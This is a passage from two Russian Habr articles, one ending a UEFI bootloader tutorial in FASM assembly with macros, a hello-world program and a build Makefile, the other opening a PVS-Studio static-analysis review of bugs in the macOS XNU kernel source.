struc EFI_RUNTIME_SERVICES_TABLE {
.Hdr EFI_TABLE_HEADER
.GetTime dptr
.SetTime dptr
.GetWakeUpTime dptr
.SetWakeUpTime dptr
.SetVirtualAddressMap dptr
.ConvertPointer dptr
.GetVariable dptr
.GetNextVariableName dptr
.SetVariable dptr
.GetNextHighMonoCount dptr
.ResetSystem dptr
}
structure EFI_RUNTIME_SERVICES_TABLE
struc EFI_TIME {
.Year int16
.Month int8
.Day int8
.Hour int8
.Minute int8
.Second int8
.Pad1 int8
.Nanosecond int32
.TimeZone int16
.Daylight int8
.Pad2 int8
.sizeof rb 1
}
structure EFI_TIME
EFI_LOADED_IMAGE_PROTOCOL_UUID equ 0A1h,31h,1bh,5bh,62h,95h,0d2h,11h,8Eh,3Fh,0h,0A0h,0C9h,69h,72h,3Bh
struc EFI_LOADED_IMAGE_PROTOCOL {
.Revision int32
.ParentHandle int64
.SystemTable dptr
.DeviceHandle int64
.FilePath dptr
.Reserved int64
.LoadOptionsSize int32
.ImageBase dptr
.ImageSize int64
.ImageCodeType int32
.ImageDataType int32
.UnLoad dptr
}
structure EFI_LOADED_IMAGE_PROTOCOL
EFI_BLOCK_IO_PROTOCOL_UUID equ 21h,5bh,4eh,96h,59h,64h,0d2h,11h,8eh,39h,00h,0a0h,0c9h,69h,72h,3bh
struc EFI_BLOCK_IO_PROTOCOL {
.Revision int64
.Media dptr
.Reset dptr
.ReadBlocks dptr
.WriteBlocks dptr
.FlushBlocks dptr
}
structure EFI_BLOCK_IO_PROTOCOL
struc EFI_BLOCK_IO_MEDIA {
.MediaId int32
.RemovableMedia int8
.MediaPresent int8
.LogicalPartition int8
.ReadOnly int8
.WriteCaching int8
.BlockSize int32
.IoAlign int32
.LastBlock int64
}
structure EFI_BLOCK_IO_MEDIA
EFI_GRAPHICS_OUTPUT_PROTOCOL_UUID equ 0deh, 0a9h, 42h,90h,0dch,023h,38h,04ah,96h,0fbh,7ah,0deh,0d0h,80h,51h,6ah
struc EFI_GRAPHICS_OUTPUT_PROTOCOL {
.QueryMode dptr
.SetMode dptr
.Blt dptr
.Mode dptr
}
structure EFI_GRAPHICS_OUTPUT_PROTOCOL
struc EFI_GRAPHICS_OUTPUT_PROTOCOL_MODE {
.MaxMode int32
.CurrentMode int32
.ModeInfo dptr
.SizeOfModeInfo intn
.FrameBufferBase dptr
.FrameBufferSize intn
}
structure EFI_GRAPHICS_OUTPUT_PROTOCOL_MODE
struc EFI_GRAPHICS_OUTPUT_MODE_INFORMATION {
.Version int32
.HorizontalResolution int32
.VerticalResolution int32
.PixelFormat int32
.RedMask int32
.GreenMask int32
.BlueMask int32
.Reserved int32
.PixelsPerScanline int32
}
structure EFI_GRAPHICS_OUTPUT_MODE_INFORMATION
macro InitializeLib
{
clc
or rdx, rdx
jz .badout
cmp dword [rdx], 20494249h
je @f
.badout: xor rcx, rcx
xor rdx, rdx
stc
@@: mov [efi_handler], rcx
mov [efi_ptr], rdx
}
macro uefi_call_wrapper interface,function,arg1,arg2,arg3,arg4,arg5,arg6,arg7,arg8,arg9,arg10,arg11
{
numarg = 0
if ~ arg11 eq
numarg = numarg + 1
if ~ arg11 eq rdi
mov rdi, arg11
end if
end if
if ~ arg10 eq
numarg = numarg + 1
if ~ arg10 eq rsi
mov rsi, arg10
end if
end if
if ~ arg9 eq
numarg = numarg + 1
if ~ arg9 eq r14
mov r14, arg9
end if
end if
if ~ arg8 eq
numarg = numarg + 1
if ~ arg8 eq r13
mov r13, arg8
end if
end if
if ~ arg7 eq
numarg = numarg + 1
if ~ arg7 eq r12
mov r12, arg7
end if
end if
if ~ arg6 eq
numarg = numarg + 1
if ~ arg6 eq r11
mov r11, arg6
end if
end if
if ~ arg5 eq
numarg = numarg + 1
if ~ arg5 eq r10
mov r10, arg5
end if
end if
if ~ arg4 eq
numarg = numarg + 1
if ~ arg4 eq r9
mov r9, arg4
end if
end if
if ~ arg3 eq
numarg = numarg + 1
if ~ arg3 eq r8
mov r8, arg3
end if
end if
if ~ arg2 eq
numarg = numarg + 1
if ~ arg2 eq rdx
mov rdx, arg2
end if
end if
if ~ arg1 eq
numarg = numarg + 1
if ~ arg1 eq rcx
if ~ arg1 in
mov rcx, arg1
end if
end if
end if
xor rax, rax
mov al, numarg
if interface in
mov rbx, [efi\_ptr]
mov rbx, [rbx + EFI\_SYSTEM\_TABLE.#interface]
else
if ~ interface eq rbx
mov rbx, interface
end if
end if
if arg1 in
mov rcx, rbx
end if
if defined SIMPLE\_INPUT\_INTERFACE.#function
mov rbx, [rbx + SIMPLE\_INPUT\_INTERFACE.#function]
else
if defined SIMPLE\_TEXT\_OUTPUT\_INTERFACE.#function
mov rbx, [rbx + SIMPLE\_TEXT\_OUTPUT\_INTERFACE.#function]
else
if defined EFI\_BOOT\_SERVICES\_TABLE.#function
mov rbx, [rbx + EFI\_BOOT\_SERVICES\_TABLE.#function]
else
if defined EFI\_RUNTIME\_SERVICES\_TABLE.#function
mov rbx, [rbx + EFI\_RUNTIME\_SERVICES\_TABLE.#function]
else
if defined EFI\_GRAPHICS\_OUTPUT\_PROTOCOL.#function
mov rbx, [rbx + EFI\_GRAPHICS\_OUTPUT\_PROTOCOL.#function]
else
if defined EFI\_GRAPHICS\_OUTPUT\_PROTOCOL\_MODE.#function
mov rbx, [rbx + EFI\_GRAPHICS\_OUTPUT\_PROTOCOL\_MODE.#function]
else
mov rbx, [rbx + function]
end if
end if
end if
end if
end if
end if
call uefifunc
}
section '.text' code executable readable
uefifunc:
mov qword [uefi\_rsptmp], rsp
and esp, 0FFFFFFF0h
bt eax, 0
jnc @f
push rax
@@: cmp al, 11
jb @f
push rdi
@@: cmp al, 10
jb @f
push rsi
@@: cmp al, 9
jb @f
push r14
@@: cmp al, 8
jb @f
push r13
@@: cmp al, 7
jb @f
push r12
@@: cmp al, 6
jb @f
push r11
@@: cmp al, 5
jb @f
push r10
@@:
sub rsp, 4\*8
call rbx
mov rsp, qword [uefi\_rsptmp]
ret
section '.data' data readable writeable
efi\_handler: dq 0
efi\_ptr: dq 0
uefi\_rsptmp: dq 0
```
листинг 2пока что пуст, но по мере надобности начнет расти!
```
if ~ defined __EFICODE__
__EFICODE__ EQU 0
end if
```
листинг 3
```
if ~ defined __MACROEFI__
__MACROEFI__ EQU 0
;; --- constants --- ;;
true EQU 1
false EQU 0
null EQU 0
nl EQU 13,10
via EQU ,
;; --- structures --- ;;
struc sString [value] {
common
if ~ value eq
. du value, null
else
. du null
end if
}
struc sStrbuf _len {
if ~ len eq
.len dq _len*2
.val rw _len
else
.len dq 1024*2
.val rw 1024
end if
}
struc sKey scan, utf {
if ~ scan eq
.scancode dw scan
else
.scancode dw null
end if
if ~ utf eq
.unicode du utf
else
.unicode:
end if
du null
}
;; --- macros --- ;;
macro mEntry _ofs {
format pe64 dll efi
entry _ofs
}
macro mInit {
InitializeLib
jnc @f
mExit EFI_SUCCESS
@@:
}
macro mPrint _str {
if ~_str eq
uefi_call_wrapper ConOut, OutputString, ConOut, _str
end if
}
macro mPrintln _str {
if ~ _str eq
mPrint _str
end if
mPrint _crlf
}
macro mReturn [data] {
if ~ data eq
forward
push data
end if
common
ret
}
macro mInvoke func, [arg] {
if ~ arg eq
reverse
push arg
end if
call func
}; vacuum example: mInvoke fSend via message
macro mEfidata {
common
mSect data
__crlf sString nl
__key_buf sKey null, null
}
macro mScankey _key {
if ~ _key eq
mov [_key], dword 0
@@:
uefi_call_wrapper ConIn, ReadKeyStroke, ConIn, _key
cmp dword [_key], 0
jz @b
end if
}
macro mExit status {
if status eq
mov eax, EFI_SUCCESS
else
mov eax, status
end if
retn
}
macro mSect name, type {
if type eq data
section '.#name' data readable writable
else if type eq code
section '.#name' code executable readable
else if type eq text
section '.#name' code executable readable
else if type eq fixup
section '.#name' fixups data discardable
end if
}
end if
```
Традиции... Привет, мир!
------------------------
Напишем helloworld для uefi используя мои листинги. Код получился до смешного коротким и интуитивно понятным. Имхо, под Windows консольную писалку создать сложнее!
```
; импортируем макросы
include "include/macroefi.inc"
; назначаем точку входа
mEntry main
; импортируем вторую часть библиотеки (обязательно после mEntry!)
include "include/sysuefi.inc"
; секция '.text' code executable readable
mSect text, code
; главная функция
main:
; инициализируем библеотеку
mInit
; печатаем хеловорлд
mPrint hello
; аналог _getch из msvcrt.dll,
; ждем клавиши и сохраняем в key
mScankey key
; возвращаемся в UEFI shell
; со статусом ОК
mExit EFI_SUCCESS
; импортируем третью часть библиотеки (желательно посте основного кода)
include "include/libuefi.inc"
; секция '.bsdata' data readable writable
mSect bsdata, data
; utf-8 строка для хеловорлда
hello sString 'Hello UEFI World!'
; ячейка для клавиши
key sKey
; финальный макрос библиотеки. ВСЕГДА в конце всего кода
mEfidata
```
Как это собрать?
----------------
Я создал для этого простенький Makefile. напишите make build и найдете в рабочей папке файл bootx64.efi. Makefile (подсветка от перл потому, что от нее все подсветилось):
```
build:
fasm BOOTX64.asm
image: build
mkdir tmp
mkdir tmp/efi
mkdir tmp/efi/boot
cp BOOTX64.efi tmp/efi/boot/BOOTX64.efi
genisoimage -o ./image.iso -V BACKUP -R -J ./tmp
rm tmp/efi/boot/*
rmdir tmp/efi/boot tmp/efi tmp
cls
dump: build
hd BOOTX64.efi
```
Как это запустить?
------------------
Создаете FAT32 флешку или GPT раздел, кидаете в /efi/boot файл под названием bootx64.efi и перезагружаете ПК. При запуске откройте меню выбора загрузочного носителя и там найдите свой файл/флешку/раздел. Грузитесь с него и видите сообщение. Чтобы вернуться, нажмите любую клавишу.
Итоги
-----
В течении статьи я изложил вам все преимущества Secure boot над Legacy, рассказал как все это работает и написал helloworld-загрузчик.
Поддержка
---------
Всегда непротив **конструктивной** критики. Принимаю идеи по улучшению статьи и проекта в целом. Всегда буду рад **полезным** ссылкам. *Спасибо за прочтение!* | https://habr.com/ru/post/680270/ | null | ru | null |
# Ядро macOS, есть ли червячки в этом яблоке?
В самом начале этого года Apple выложили в открытый доступ исходный код системных компонентов macOS 11.0 – Big Sur, включая XNU – ядро операционной системы macOS. Пару лет назад исходный код ядра уже проверялся PVS-Studio в связи с выходом анализатора для macOS. Прошло достаточно много времени, и вышел новый релиз исходного кода ядра. Почему бы и не провести повторную проверку.
Что это за проект, Apple и open-source?
---------------------------------------
XNU – X is Not Unix – используется и разрабатывается Apple в качестве ядра операционных систем OS X. Исходные коды этого ядра 20 лет назад были опубликованы под лицензией APSL ([Apple Public Source License](https://en.wikipedia.org/wiki/Apple_Public_Source_License)) вместе с OC Darwin. Раньше Darwin можно было даже установить в качестве полноценной операционной системы, однако теперь это стало невозможно. Причиной публикации исходного кода является тот факт, что он во многом основан на других open-source проектах.
Исходные коды компонентов можно найти [тут](https://opensource.apple.com/). Для проверки я использовала [зеркало проекта](https://github.com/apple/darwin-xnu) на GitHub.
Предыдущая проверка
-------------------
Как я уже упомянула, этот проект ранее проверялся нами с помощью PVS-Studio. С предыдущими результатами можно познакомиться в статье: "[Релиз PVS-Studio для macOS: 64 weaknesses в Apple XNU Kernel](https://www.viva64.com/ru/b/0566/)". После публикации мой коллега Святослав также отправил статью разработчикам на почту, но ответа не получил. Так что я предполагаю, что наша проверка никак не связана с исправлениями, которые мы дальше рассмотрим. Разработчикам пришлось искать их другим путём. А могли бы просто взять и запустить PVS-Studio :). Сейчас, после публикации статей, мы в основном пишем об этом в GitHub репозиторий проекта.
Мне стало интересно, были ли исправлены ошибки, описанные в предыдущей статье, или всё так и осталось. Большинство из найденных ошибок действительно были исправлены. Это показывает, что отобранные предупреждения анализатора оказались верными. Хотя для написания статьи с отчётом работал человек, не участвующий в разработке XNU, то есть близко не знакомый с этим исходным кодом.
Я приведу здесь несколько примеров исправлений. Но, чтобы не раздувать объём статьи, не буду полностью приводить объяснение ошибок. Если из исправления будет неясно, в чём была проблема, то вы всегда можете обратиться к первой статье по проверке этого проекта. Я не буду разбирать все исправленные фрагменты, большинство из фрагментов всё-таки было поправлено. А фрагментов в предыдущей статье было ни много ни мало 64!
Перейдём к рассмотрению исправлений примеров из прошлой статьи.
Фрагмент N1, в котором член класса сравнивался сам с собой:
```
int
key_parse(
struct mbuf *m,
struct socket *so)
{
....
if ((m->m_flags & M_PKTHDR) == 0 ||
m->m_pkthdr.len != m->m_pkthdr.len) {
....
goto senderror;
}
....
}
```
Был исправлен следующим образом:
Где макрос, из которого получена переменная *orglen*, выглядит следующим образом:
```
#define PFKEY_UNUNIT64(a) ((a) << 3)
```
Выходит, что анализатор оказался прав: сравнение было некорректным и должно было проводиться с переменной *orglen*, которая даже присутствовала в коде до исправления.
Еще один пример исправления, который я хочу привести здесь, – фрагмент N5, где знак равно всё-таки был исправлен на проверку на равенство.
Накосячить в условии *assertf* – одно, но ещё и перезаписать переменную для отладочной версии – такое точно стоит поправить.
Фрагменты 6 и 7 были исправлены одинаково. Оказалось, что во вложенной проверке перепутали значение перечислителя для сравнения. Вместо *PBUF\_TYPE\_MBUF* во внутренней проверке должен быть элемент *PBUF\_TYPE\_MEMORY* в обоих случаях.
В случае фрагментов N8, 9, 10 исправление было таким:
На это исправление я обратила внимание, так как серьёзная часть коммита в целом (обновление репозитория до xnu-4903.270.47 от 11 января) содержит помимо прочего много правок код-стайла. Это может указывать на то, что для данной версии кодовая база была подчищена с помощью разных инструментов качества кода. Что сделает эту проверку PVS-Studio более интересной. Ведь видно, что качество кодовой базы уже было улучшено другими инструментами.
Что касается фрагментов 11, 12, 13, 14 – был исправлен только фрагмент 11:
Остальные остались прежними. Похоже, кто-то невнимательно прочитал наш отчёт ;) (или отчёт анализатора, использованный для улучшения качества кода в этом коммите). Приведу здесь код, на который было выдано одно из предупреждений, чтобы не было сомнений в аналогичности ошибки:
```
static int
kauth_resolver_getwork(user_addr_t message)
{
struct kauth_resolver_work *workp;
int error;
KAUTH_RESOLVER_LOCK();
error = 0;
while ((workp = TAILQ_FIRST(....)) == NULL) { // <=
thread_t thread = current_thread();
struct uthread *ut = get_bsdthread_info(thread);
ut->uu_save.uus_kauth.message = message;
error = msleep0(....);
KAUTH_RESOLVER_UNLOCK();
/*
* If this is a wakeup from another thread in the resolver
* deregistering it, error out the request-for-work thread
*/
if (!kauth_resolver_identity) {
printf("external resolver died");
error = KAUTH_RESOLVER_FAILED_ERRCODE;
}
return error; //<=
}
return kauth_resolver_getwork2(message);
}
```
Предупреждение PVS-Studio: [V612](https://www.viva64.com/ru/w/v612/) An unconditional 'return' within a loop. kern\_credential.c 951
Я привела код почти целиком, чтобы можно было сформировать общее представление о том, что происходит в этой функции. В случае отмеченного цикла при выполнении условия входа в него будет совершён один проход по телу цикла, завершающийся возвращением *error*. Видимо, подразумевалось, что если выполняется условие *(workp = TAILQ\_FIRST(....)) == NULL*, то нужно найти причину ошибки и завершить функцию возвращением информации об ошибке. Однако по какой-то причине вместо *if* был написан *while*, как и во фрагменте из предыдущей статьи. Строчка *error = msleep0(....)* выглядит в коде таким образом:
```
error = msleep0(&kauth_resolver_unsubmitted,
kauth_resolver_mtx,
PCATCH,
"GRGetWork",
0,
kauth_resolver_getwork_continue);
```
Здесь последним аргументом передаётся указатель на функцию *kauth\_resolver\_getwork\_continue*. В теле этой функции есть условие, аналогичное условию цикла, на который нам указал анализатор. Но в нём уже корректно используется *if*, а не *while*.
```
static int
kauth_resolver_getwork_continue(int result)
{
....
if (TAILQ_FIRST(&kauth_resolver_unsubmitted) == NULL) {
....
return error;
}
....
}
```
В принципе этот код работает немного сложнее, чем я описала. В нём присутствует рекурсия (в методе *kauth\_resolver\_getwork\_continue*), и, как я поняла, он нацелен на нахождение потоков, которые можно перезагрузить. Но я не стала вдаваться в подробности, так как *while* всё равно лишний. Возможно, он остался здесь с того времени, когда исходный код выполнял ту же задачу, но без использования рекурсии.
Это примеры из начала статьи. Проскочим в середину и возьмём фрагмент N40. В нём одному и тому же элементу дважды присваивается одно значение:
Предупреждение PVS-Studio: [V519](https://www.viva64.com/ru/w/v519/) CWE-563 The 'wrap.Seal\_Alg[0]' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 2070, 2071. gss\_krb5\_mech.c 2071
Эта ошибка, конечно же, тоже была поправлена:
Ну и ближе к концу статьи, фрагмент 62 был исправлен так, как и было предложено в предыдущей статье. Причём это было единственной правкой в том файле.
Фрагменты 63 и 64 также были исправлены, но там код был изменён капитально. Поэтому понять, какое исправление было именно для рассмотренного предупреждения, сложно.
Новые находки
-------------
После этого долгого вступления перейду к ошибкам, которые привлекли моё внимание при последней проверке исходного кода XNU статическим анализатором PVS-Studio. Скажу честно, мне тяжело далась работа с отчётом, так как проект имеет сложный код и у меня нет опыта работы с подобной кодовой базой. Но предупреждения PVS-Studio достаточно подробны и имеют ссылку на документацию с примерами правильного и неправильного кода и описанием возможной проблемы, что очень меня выручило.
К этой проверке cloc насчитал в проекте 1346 \*.c файлов, 1822 С/C++ хэдера и 225 \*.cpp файлов.
Ну и перейдём к разбору интересных находок.
**Фрагмент N1**
```
void
pe_identify_machine(__unused boot_args *args)
{
....
// Start with default values.
gPEClockFrequencyInfo.timebase_frequency_hz = 1000000000;
gPEClockFrequencyInfo.bus_frequency_hz = 100000000;
....
gPEClockFrequencyInfo.dec_clock_rate_hz =
gPEClockFrequencyInfo.timebase_frequency_hz;
gPEClockFrequencyInfo.bus_clock_rate_hz =
gPEClockFrequencyInfo.bus_frequency_hz;
....
gPEClockFrequencyInfo.bus_to_dec_rate_den =
gPEClockFrequencyInfo.bus_clock_rate_hz /
gPEClockFrequencyInfo.dec_clock_rate_hz;
}
```
Предупреждение PVS-Studio: [V1064](https://www.viva64.com/ru/w/v1064/) The 'gPEClockFrequencyInfo.bus\_clock\_rate\_hz' operand of integer division is less than the 'gPEClockFrequencyInfo.dec\_clock\_rate\_hz' one. The result will always be zero. pe\_identify\_machine.c 72
Все используемые здесь поля имеют целочисленный тип:
```
extern clock_frequency_info_t gPEClockFrequencyInfo;
struct clock_frequency_info_t {
unsigned long bus_clock_rate_hz;
unsigned long dec_clock_rate_hz;
unsigned long bus_to_dec_rate_den;
unsigned long long bus_frequency_hz;
unsigned long timebase_frequency_hz;
....
};
```
Через промежуточные присвоения полю *gPEClockFrequencyInfo.bus\_clock\_rate\_hz,* являющемуся делимым, присваивается значение 100000000, а полю-делителю *gPEClockFrequencyInfo.dec\_clock\_rate\_hz* присваивается значение 1000000000. Делитель в этом случае в десять раз больше делимого. Так как все поля здесь являются целочисленными, поле *gPEClockFrequencyInfo.bus\_to\_dec\_rate\_den* окажется равным 0.
Судя по наименованию результирующего поля *bus\_to\_dec\_rate\_den*, делитель и делимое были перепутаны местами. Я допускаю возможность, что код был написан с расчётом на то, что исходные значения изменятся и результат уже не будет равен 0. Но этот код всё равно кажется мне очень подозрительным.
**Фрагмент N2**
```
void
sdt_early_init( void )
{
....
if (MH_MAGIC_KERNEL != _mh_execute_header.magic) {
....
} else {
....
for (....) {
const char *funcname;
unsigned long best; //<=
....
funcname = "";
for (i = 0; i < orig\_st->nsyms; i++) {
char \*jname = strings + sym[i].n\_un.n\_strx;
....
if ((unsigned long)sym[i].n\_value > best) { //<=
best = (unsigned long)sym[i].n\_value;
funcname = jname;
}
}
.....
}
}
```
Предупреждение PVS-Studio: [V614](https://www.viva64.com/ru/w/v614/) Uninitialized variable 'best' used. sdt.c 572
Насколько я поняла, этот метод ищет название некоей функции. В алгоритме используется переменная *best*, возможно, это положение наилучшего кандидата на результат. Однако изначально эта переменная только объявляется без инициализации. Следующее же использование сверяет значение некоего элемента с переменной *best*, которая будет неинициализированной на тот момент. Еще страннее, что она инициализируется только внутри условия, в котором используется её же значение.
Неинициализированные переменные могут приводить к непредсказуемым результатам. И, хотя эта ошибка может показаться достаточно банальной, она всё ещё часто встречается при проверках разных проектов с помощью PVS-Studio. Например, совсем недавно мой коллега Андрей описывал [интересный случай](https://www.viva64.com/ru/b/0796/) такой ошибки.
**Фрагмент N3**
```
int
cdevsw_isfree(int index)
{
struct cdevsw * devsw;
if (index < 0) {
if (index == -1) {
index = 0;
} else {
index = -index;
}
devsw = &cdevsw[index];
for (; index < nchrdev; index++, devsw++) {
if (memcmp(....) == 0) {
break;
}
}
}
if (index < 0 || index >= nchrdev) {
return -1;
}
....
return index;
}
```
Предупреждение PVS-Studio: [V560](https://www.viva64.com/ru/w/v560/) A part of conditional expression is always false: index < 0. bsd\_stubs.c:236
Небольшой пример того, что анализатор отслеживает возможные значения переменных. В начале функции переменная *index* сравнивается с нулём. Если она меньше него, то во внутреннем блоке ей будет присвоено значение не меньше нуля. А следующий внешний *if* снова проверяет, имеет ли *index* значение меньше нуля, но это невозможно.
Логики программы этот момент не меняет, но есть вероятность, что подразумевалось какое-то иное условие. Ну и в любом случае лишние проверки не делают код читабельнее и понятнее.
**Фрагмент N4**
```
int
nfs_vinvalbuf_internal(....)
{
struct nfsbuf *bp;
....
off_t end = ....;
/* check for any dirty data before the EOF */
if ((bp->nb_dirtyend > 0) && (bp->nb_dirtyoff < end))
{
/* clip dirty range to EOF */
if (bp->nb_dirtyend > end)
{
bp->nb_dirtyend = end;
if (bp->nb_dirtyoff >= bp->nb_dirtyend) //<=
{
bp->nb_dirtyoff = bp->nb_dirtyend = 0;
}
}
if ((bp->nb_dirtyend > 0) && (bp->nb_dirtyoff < end)) //<=
{
....
}
}
....
}
```
Предупреждения PVS-Studio:
* [V547](https://www.viva64.com/ru/w/v547/) Expression 'bp->nb\_dirtyoff >= bp->nb\_dirtyend' is always false. nfs\_bio.c 3858
* [V560](https://www.viva64.com/ru/w/v560/) A part of conditional expression is always true: (bp->nb\_dirtyoff < end). nfs\_bio.c 3862
В случае этого фрагмента к анализатору точно стоит прислушаться и попытаться упростить код. Учтите, что тут он хотя бы приведён с сокращениями.
Начнём с первого предупреждения. Анализатор решил, что *nb\_dirtyoff* не может быть больше или равен *nb\_dirtyend*. Разберёмся почему. Перед подозрительной проверкой есть ещё два *if* с проверками *(bp->nb\_dirtyend > 0) && (bp->nb\_dirtyoff < end)* и *bp->nb\_dirtyend > end*. А также осуществляется присвоение *bp->nb\_dirtyend = end*.
Почему же третья проверка *bp->nb\_dirtyoff >= bp->nb\_dirtyend* будет всегда *false*?
Всё просто. Из условий выходит, что *nb\_dirtyoff* меньше, чем *end*, а *nb\_dirtyend* равно *end*. В итоге *nb\_dirtyend* точно больше, чем *nb\_dirtyoff*. Присвоение *bp->nb\_dirtyoff = bp->nb\_dirtyend = 0* никогда не будет выполнено.
В итоге вот такой участок кода:
```
if ((bp->nb_dirtyend > 0) && (bp->nb_dirtyoff < end)) {
/* clip dirty range to EOF */
if (bp->nb_dirtyend > end) {
bp->nb_dirtyend = end;
if (bp->nb_dirtyoff >= bp->nb_dirtyend) { //<=
bp->nb_dirtyoff = bp->nb_dirtyend = 0;
}
}
}
```
Можно упростить хотя бы до такого:
```
if ((bp->nb_dirtyend > 0) && (bp->nb_dirtyoff < end)) {
if (bp->nb_dirtyend > end) {
bp->nb_dirtyend = end;
}
}
```
Но только если в настоящий момент этот алгоритм работает корректно.
Второе предупреждение указывает на четвёртый *if*, вложенный в первый.
```
if ((bp->nb_dirtyend > 0) && (bp->nb_dirtyoff < end))
```
Здесь анализатор выдаёт предупреждение на основании того, что присвоение нуля никогда не будет выполнено. В итоге во внешнем условии уже была проверка *bp->nb\_dirtyoff < end* и внутренняя проверка из-за ошибки в условии выше становится бессмысленной.
**Фрагмент N5**
```
tcp_output(struct tcpcb *tp)
{
....
if (isipv6) {
....
if (len + optlen) {
....
}
} else {
....
if (len + optlen) {
....
}
}
....
}
```
Предупреждение PVS-Studio: [V793](https://www.viva64.com/ru/w/v793/) It is odd that the result of the 'len + optlen' statement is a part of the condition. Perhaps, this statement should have been compared with something else.
Это достаточно простой недочёт. В условии вместо логического выражения просто складываются две переменные. В итоге выражение будет ложным, только если сумма окажется равной нулю. Если это и подразумевалось, то, возможно, стоит сделать сравнение с 0 явным, чтобы вопроса о правильности условия точно не возникало.
Конечно, может быть, что так и задумано, но чуть выше в коде есть вот такая проверка:
```
if (len + optlen + ipoptlen > tp->t_maxopd) {
....
}
```
Это наводит на мысль, что, скорее всего, в двух *if*'ах, на которые указал анализатор, также должно было проводиться сравнение.
Ещё замечу, что эта функция, сокращённая тут до 16 строк, занимает в оригинале 2268 строк! Ещё один возможный повод для рефакторинга ;)
Второе предупреждение на этот же участок:
[V793](https://www.viva64.com/ru/w/v793/) It is odd that the result of the 'len + optlen' statement is a part of the condition. Perhaps, this statement should have been compared with something else.
**Фрагмент N6**
```
int
ttyinput(int c, struct tty *tp)
{
....
if (tp->t_rawq.c_cc + tp->t_canq.c_cc) {
....
}
```
Предупреждение PVS-Studio: [V793](https://www.viva64.com/ru/w/v793/) It is odd that the result of the 'tp->t\_rawq.c\_cc + tp->t\_canq.c\_cc' statement is a part of the condition. Perhaps, this statement should have been compared with something else. tty.c 568
Аналогичный случай. Тут повыше в коде снова есть проверка, которая не просто использует сумму, а сравнивает результат с другой переменной:
```
if ( tp->t_rawq.c_cc + tp->t_canq.c_cc > I_HIGH_WATER – 3 // <=
&& ....) {
....
}
```
В упрощённом коде условие, на которое указал анализатор, выглядит заметно. Но в оригинале оно было вложено в несколько *if*. Так что при код-ревью такое можно и пропустить, а анализатор не пропустит ;)
**Фрагмент N7**
```
errno_t
mbuf_adjustlen(mbuf_t m, int amount)
{
/* Verify m_len will be valid after adding amount */
if (amount > 0) {
int used = (size_t)mbuf_data(m)
- (size_t)mbuf_datastart(m)
+ m->m_len;
if ((size_t)(amount + used) > mbuf_maxlen(m)) {
....
}
....
return 0;
}
```
Предупреждение PVS-Studio: [V1028](https://www.viva64.com/ru/w/v1028/) Possible overflow. Consider casting operands of the 'amount + used' operator to the 'size\_t' type, not the result. kpi\_mbuf.c
Снова ошибка в условии, но уже совсем другого рода. Вместо приведения к *size\_t* операндов сложения, чтобы результат точно поместился в числовой тип, к *size\_t* приводится результат сложения. Если в итоге сложения возникнет переполнение, то с результатом *mbuf\_maxlen(m)* будет сравниваться бессмысленное значение, приведённое к *size\_t*. Раз программист всё-таки хотел защититься от переполнения, то стоит его сделать правильно:
```
if ((size_t)amount + used > mbuf_maxlen(m))
```
Таких срабатываний было несколько, стоит обратить на этот момент внимание.
* [V1028](https://www.viva64.com/ru/w/v1028/) Possible overflow. Consider casting operands, not the result. vm\_compressor\_pager.c 1165
* [V1028](https://www.viva64.com/ru/w/v1028/) Possible overflow. Consider casting operands, not the result. vm\_compressor\_pager.c 1131
* [V1028](https://www.viva64.com/ru/w/v1028/) Possible overflow. Consider casting operands, not the result. audit\_worker.c 241
* [V1028](https://www.viva64.com/ru/w/v1028/) Possible overflow. Consider casting operands of the '((u\_int32\_t) slp \* hz) + 999999' operator to the 'long' type, not the result. tty.c 2199
**Фрагмент N8**
```
int
fdavail(proc_t p, int n)
{
....
char *flags;
int i;
int lim;
....
lim = (int)MIN(....);
if ((i = lim - fdp->fd_nfiles) > 0 && (n -= i) <= 0) //<=
{
return 1;
}
....
for (....)
{
if (*fpp == NULL && !(*flags & UF_RESERVED) && --n <= 0)
{
return 1;
}
}
return 0;
}
```
Предупреждение PVS-Studio: [V1019](https://www.viva64.com/ru/w/v1019/) Compound assignment expression 'n -= i' is used inside condition. kern\_descrip.c\_99 3916
Этот код, на мой взгляд, является крайне сложночитаемым. Возможно, условие, на которое указал анализатор, стоит переписать в более простом виде:
```
i = lim - fdp->fd_nfiles;
if (i > 0)
{
n -= i;
if(n <= 0)
return 1;
}
```
Этот код выглядит менее эффективным, но точно является более понятным. Для быстрой проверки равнозначности эффективности этого кода можно зайти на [Godbolt](https://godbolt.org/) (Compiler Explorer), где, кстати, можно тестировать работу диагностик PVS-Studio. Анализатор легко найти среди инструментов этого сервиса.
Если не включать оптимизации, то ассемблерный код [получится на пару строк больше](https://godbolt.org/z/9bhqjb). А вот с оптимизациями [разницы уже нет никакой](https://godbolt.org/z/fqefbz). Так что писать тут хитрый код нет смысла, компилятор всё сам сделает, как надо.
Но, если обратить внимание на тело этого *if*, новое значение *n* в нём не используется. То есть вполне возможно, что никакое присвоение здесь и не нужно. Тогда можно обойтись таким кодом:
```
i = lim - fdp->fd_nfiles;
if (i > 0) {
if(n – i <= 0)
return 1;
}
```
И, более того, исходный код может приводить к ошибке при дальнейшем использовании переменной *n*. Если выражение *(n -= i) <= 0* окажется ложным, то далее будет использоваться уже новое значение *n*. Так как я не работала вплотную с исходным кодом, мне сложно сказать, какое поведение является верным.
**Фрагмент N9**
```
static errno_t
vsock_put_message_listening(struct vsockpcb *pcb,
enum vsock_operation op,
struct vsock_address src,
struct vsock_address dst)
{
switch (op)
{
case VSOCK_REQUEST:
....
if (....)
{
vsock_pcb_safe_reset_address(pcb, dst, src);
....
}
....
done:
....
break;
case VSOCK_RESET:
error = vsock_pcb_safe_reset_address(pcb, dst, src);
break;
default:
vsock_pcb_safe_reset_address(pcb, dst, src);
....
break;
}
return error;
}
```
Предупреждение PVS-Studio: [V764](https://www.viva64.com/ru/w/v764/) Possible incorrect order of arguments passed to 'vsock\_pcb\_safe\_reset\_address' function: 'dst' and 'src'. vsock\_domain.c 549
Этот момент запросто может оказаться и не ошибкой. Но крайне подозрительно, что сигнатура вызываемой в этом фрагменте функции выглядит так:
```
static errno_t
vsock_pcb_safe_reset_address(struct vsockpcb *pcb,
struct vsock_address src,
struct vsock_address dst)
```
При использовании этой функции в данном фрагменте последние два аргумента с аналогичными именами передаются в другом порядке.
Срабатывания на тот же фрагмент:
* [V764](https://www.viva64.com/ru/w/v764/) Possible incorrect order of arguments passed to 'vsock\_pcb\_safe\_reset\_address' function: 'dst' and 'src'. vsock\_domain.c 587
